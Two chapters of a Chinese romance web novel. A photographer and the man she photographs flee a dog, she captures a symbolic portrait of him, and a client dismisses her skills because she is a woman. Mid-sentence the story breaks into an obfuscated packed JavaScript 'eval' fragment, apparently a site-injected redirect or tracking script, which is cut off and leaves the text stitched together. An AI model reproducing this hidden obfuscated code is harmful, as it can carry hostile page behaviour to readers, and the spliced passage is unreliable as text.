不知道是运动让人开怀,还是她觉得眼前的场景很滑稽,反正她竟然咧开了嘴,一双眼睛笑得弯了起来。这场莫名其妙的逃亡就多了一层莫名其妙的欢乐。像是什么在冲击着他的心扉,心底有一股冲力似乎马上要喷涌而出。 他抬手将脸上的口罩一把扯下,老街里被夏日午后的日头烘得暖洋洋的气息一瞬间涌进他的鼻息,似乎将他身体里一股无形的屏障冲破。 他回过头,深吸了一口气,浑身更有劲地往前跑。 也不知道跑了多久,他们才意识到好像没听到狗叫了。 “阿砚……阿砚!”唐霁喘着粗气提醒他,“停……停!停!” 周砚知这才放缓了双脚奔跑的速度,两人在一条狭窄的巷子里停了下来。他们往身后看去,后面什么都没有,那只大黄狗不知道什么时候就默默放弃追逐了。 他的手才放心地松开,两人迎面靠着各自身后的墙,一时间谁也没说话,心脏仍是扑通扑通地跳个不停,嘴巴也在大口大口地喘着粗气。 “神经病啊!你干嘛,干嘛……抓着我跑啊!”唐霁终于将气理顺,开始算账,“我长这么大……还是第一次被狗追!累死我了!” “我……我……”周砚知还在喘气,面对唐霁的控诉,他竟无力反驳,“我,我总不能把你落在那里吧。” “落就落啊!难道我还会走丢吗?”唐霁气理顺了,就理直气壮,“总比被狗追了一路要好吧!” “行。”周砚知认栽,“是我怕走丢,我怕自己走丢了找不到你,可以吧。” “你就知道赖着我!” 周砚知张口想反驳,却又无话可说,他好像……就是想赖着她。 唐霁见对方吵不过她,嘴角扬起得意的弧度,扭过头的时候忍不住“扑哧”一声笑了。 笑意在这狭窄的巷子里迅速蔓延,周砚知显然是被传染了,也或许是运动过后,整个人心情舒畅,反正他看着唐霁的笑脸也莫名其妙笑了起来。他低着头,双肩笑得一颤一颤的。一抬头,看见唐霁看着他越笑越欢,也不知道她笑什么。反正他的双唇就再也合不上了,却又不好意思,于是压着嘴角别过脸去。 下一秒,压不住的嘴角就定格在脸上。 他的眼前闯入一束娇艳似火的三角梅,是在路边绿化带随处可见的紫红色花瓣,但在阳光的透射下,它的每一片花瓣都像被赋予了生命,似乎是专程从他身后的墙探出身来向他招手。 阳光、鲜花总是象征着美好,尽管最普通的花也能如此动人。 这一刻,刚才开怀奔跑后尚未来得及关上的心房就瞬间被眼前的美好填满。 就像刚才被那三只小狗吸引一样,此刻他再次魔怔,侧过身抬起手想要触摸那束花。 “咔嚓。”极其轻微的快门声在小巷子里被清晰地放大,如同电流在身体流窜,周砚知身子一顿,猛地收回手,看向唐霁,有些慌张地问道:“你在干什么?” 唐霁双手拿着相机缓缓放下,她的笑脸从相机后面露了出来,很满意地说:“你不知道刚才的画面有多好看。” 12. 第 12 章 深夜的天台小屋里,斗柜上的小仓鼠又开始夜跑发出“哒哒哒”的声音,桌面上的台灯还亮着暖黄色的灯,唐霁坐在电脑前处理今天拍的照片,周砚知这张照片是她最满意的。 午后的阳光被屋顶劈开,在一堵白墙上泾渭分明地划出一条光影分界线。周砚知站在了阳光照不到的阴影处,而他身旁的三角梅恰好在阳光下,红得耀眼。 就在他侧过身,将手探过这条分界线想要去触摸那一束阳光下的花时,就被唐霁抓拍到了。 不是她夸自己啊,这个光影、这个神态、这个侧脸、这个画面,简直绝了。她突然福至心灵,从手机里找出她给周砚知拍的第一张照片,就是金鼎大厦天台拍的那张。 那是一张面朝夕阳,准备赴死的照片,照片里男人的身影很小,面对熔化在夕阳里城市却有一种无畏的磅礴气势。可是身后的影子却拉得很长,像是拼命想要逃窜一样。 而今天这张,同样是面对着阳光,照片里的男人却是想要触摸,有一种想要从黑暗里走出的渴望。 唐霁反反复复看着这两张照片,低头沉思片刻,打开了一个叫FOCUS的国际摄影论坛,建立一个主题相册,将这两张照片上传。 第一张照片的简介,她写上:这是我第一次见到他,他准备去赴死。 第二张照片,她写上:就算身处黑暗的深渊,生活也会将披着阳光的花送到眼前。 相册的主题应该写什么呢? 她扭头看了一眼天台,窗帘已经拉上,她什么都看不到,阿砚应该已经睡了。她抬手,食指的指骨抵在嘴唇,一个词就这样在脑海里浮现。 「向死而生」。 每个人的人生终点都是死亡,但有人匆匆赴死,有人苟延残存。如果人生注定是一场向死而生的旅途,那么过程便是唯一的意义。 她突然发现,她真正想拍的不是这个男人身上的肱二头肌或者六块腹肌,而是他的故事。 她想要去记录,一个叫阿砚的男人的重生故事。 他的身上有着吸引她的故事感和破碎感,但相比起粗暴地破开他的外壳,直接窥探他的秘密,她更享受剥洋葱的过程,一层一层地揭开他身上的故事。 一个原本决定去死的人,如果最后选择活下来,会是什么样子呢? 她想要去寻找这个答案。 …… 宏大的理想诞生于深夜,休眠于青天白日。 第二天起来后,唐霁和周砚知的生活并没有和平时有什么不同,一个忙忙碌碌为生计奔波,一个学习着勤俭持家,研究如何用最少的钱做一顿美味的饭菜。 在不用上班的时候,唐霁就会拉着周砚知去“扫街”。 他现在是越来越上道了,在唐霁需要模特的时候,他就当模特。在唐霁不需要他时,他就帮忙拿器材。 七月中,白海市已经到了要发高温补贴的季节。 唐霁也减少了外拍的频率,不上班的时候,只想窝在小屋子里叹空调。 这天,她窝在床上煲剧,周砚知则在翻看她的摄影杂志,顺便学习一些拍照姿势。 电话响起,唐霁瞄了一眼,是之前的一个客户,半年前她帮过他拍婚礼。按理说,这些交易完成的客户大部分都不会再联系的,而且这个还是半年这么久。在接起电话时,唐霁希望他是又结婚了而不是隔了半年后来找茬的。 “喂,李先生。” “诶诶诶,唐老师!”对方听到她接电话,语气是明显的上扬,似乎很开心。 唐霁却莫名有种不祥预感,她小心地问道:“怎么了?” “诶,唐老师,是这样的,你今天有空吗?” 唐霁:“……” 这是一个很难回答的问题,她没直接回答,而是先问道:“有什么事吗?” “想问下你有没空接个急单,我们公司下午要去爬山,领导想要个专业的摄影师跟拍,不知道你有没有空呢?” 噢,原来是生意来了。唐霁顿时放下心来,不过她咀嚼了一下对方刚才说的话—— 下午、爬山、跟拍。 她看了一眼窗户外都炙烤得快要熔化的空气,不解地问道:“你们,爬个山还要跟拍啊?” “是啊,公司要搞什么企业文化建设,不仅要做一面照片墙,还要放到企业内刊上,所以领导想要找一个专业的摄影师。我这不想起你上次给我们拍的照片挺好的……” 唐霁有些犹豫,企业文化建设她理解,但是…… “大热天的,你们公司还去爬山,是有什么心事吗?不怕中暑啊?” “我们也不想啊。”对方压低声音说,“领导喜欢,爬山省钱。” 唐霁努了努嘴,没有答应也没有拒绝。 送上门的生意,不想推了,但是抠门领导,能给多少啊? 对方似乎也明白唐霁的犹豫,试探地问道:“价钱方面,800你看可以吗?我们4点开始,大概两个钟结束。” 唐霁心里真的忍不住骂道,这领导是真抠门。 他们爬山是两个钟,但是她3点多就要出门了,爬上山不还得下来,折腾一圈半天就没了。 她坐地起价:“1000!800真的太少了,这么热的天,而且还是急单。” “呃……”对方似乎也有些为难,“我先跟领导申请下。” 挂了电话后,唐霁继续煲剧。没多久,她就收到对方的回复:【唐老师,领导答应了,1000可以。】 看到回复,唐霁也说不上是开心还是不开心。现在都2点了,差不多收拾收拾就要出门了。外面太阳还这么辣,她不仅要出门还要去爬山,她不仅要爬山,还要拿相机。这么热的天爬山,水也少不了。 好重啊,想想就好命苦。 啊啊啊啊啊!都怪她一时财迷心窍,这点窝囊费不赚也罢。现在再推掉还来得及吗? 她的脸正愁成一条苦瓜,抬眼看见坐在椅子上悠哉游哉地翻着杂志的周砚知,一副岁月静好的样子。 不公平!不公平!不公平! 凭什么她负责赚钱养家,他只需要貌美如花! “阿砚!”她叫了一声,周砚知扭头看了过去,问道:“怎么啦?” 唐霁打量着他一身肌肉,问道:“你体能……还行吧?” 周砚知警铃大作,浑身警备:“你想干嘛?” 唐霁挑眉问道:“想赚外快吗?” 周砚知刚才听到唐霁讲电话了,可是……这关他什么事? 他把杂志挡在自己胸前,警惕地说:“我不出卖□□。” “不出卖□□!”唐霁保证道,脸上露出不怀好意的笑,“只出卖体力就行。” 4点整,两人准时出现在凤凰山门口。 周砚知又是全副武装,帽子口罩把自己遮得严严实实,身后背着一个大大的相机背包,两侧还装着两瓶水。唐霁则是轻装上阵,就穿了件带帽檐的防晒衣。 要她大热天爬山可以,要她一边爬山一边给人拍照也可以,但是还要她负重爬山拍照就noway。有一个现成的劳动力不用白不用。 客户也准时到达。唐霁认出了和她联系的李齐,他领着几个人正往他们这边走,看到她,远远就挥手和她打招呼。唐霁也礼貌地挥手回应。 “钟总,我介绍一下,这是唐霁,唐摄影师。”李齐伸手指向唐霁介绍道,“这是钟总,我们部门的领导。” 那个叫钟总的人,挺着一个大肚子,疑惑地看了唐霁一眼,又看了看她身旁的周砚知,不太相信地说:“你是摄影师啊?我刚才走过来时,还以为他才是摄影师呢?” 唐霁也顺着大肚子男人的目光看了周砚知一眼,笑着解释:“他是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐霁看了他一眼,很想怼他你的面子很值钱吗?但她知道这件事与他无关,便只是冷言道:“今天就是你们领导给我道歉我都不会再接这单,你还想让我给他道歉,做梦!” “李齐,让她走!”大肚子男人在后面喊道,“女人家家能拍出什么好照片,以为是自拍发朋友圈吗?就是免费我都不要,更别想让我出钱!” 唐霁已经懒得跟这种傻瓜论短长,刚好公车到站,她直接大步跨上车,周砚知紧跟着上去。 公车行驶了一段路,周砚知看到唐霁的脸色已经平静下来,才关心问道:“你经常会遇到这种事?” “偶尔吧。”唐霁耸耸肩,又换上平时那副没心没肺的样子,“美女自然就会有美女的烦恼咯,总有一些人看到我,就会像刚才那个啤酒肚一样,觉得长得漂亮就只能当花瓶,觉得我要么是个模特,要么技术不行,但是对男人就没这种质疑。哼,总有一天,我会让他们知道,什么叫美貌与智慧并重。” 唐霁一边说着一边神气地甩了甩额前的刘海,但久久没有听到周砚知的回答,便抬头看向他,只见他双目沉沉地看着她。 唐霁:“怎么,你也不相信我?” “不是。”周砚知声音低沉地应道,“我……” 那个大肚子男人第一次出言不逊的时候,周砚知偷偷看了唐霁一眼。这个平时遇到什么事都笑呵呵的人整张脸都绷起来,他的心也被拉扯开。 他正想开口,没想到唐霁自己就先怼了回去。他不得不承认,唐霁自己回怼得更加有力。如果当时是他来,确实不如唐霁说得好。但是,他看着唐霁明明心里在乎得很,表面上却还装作无所谓的样子,一种怪异的情愫在这一刻陡然升起。 所以,他很认真地看着唐霁说:“我是觉得,其实你现在已经是了,只是他们看不见。” “你没必要因为别人眼瞎就否定自己。”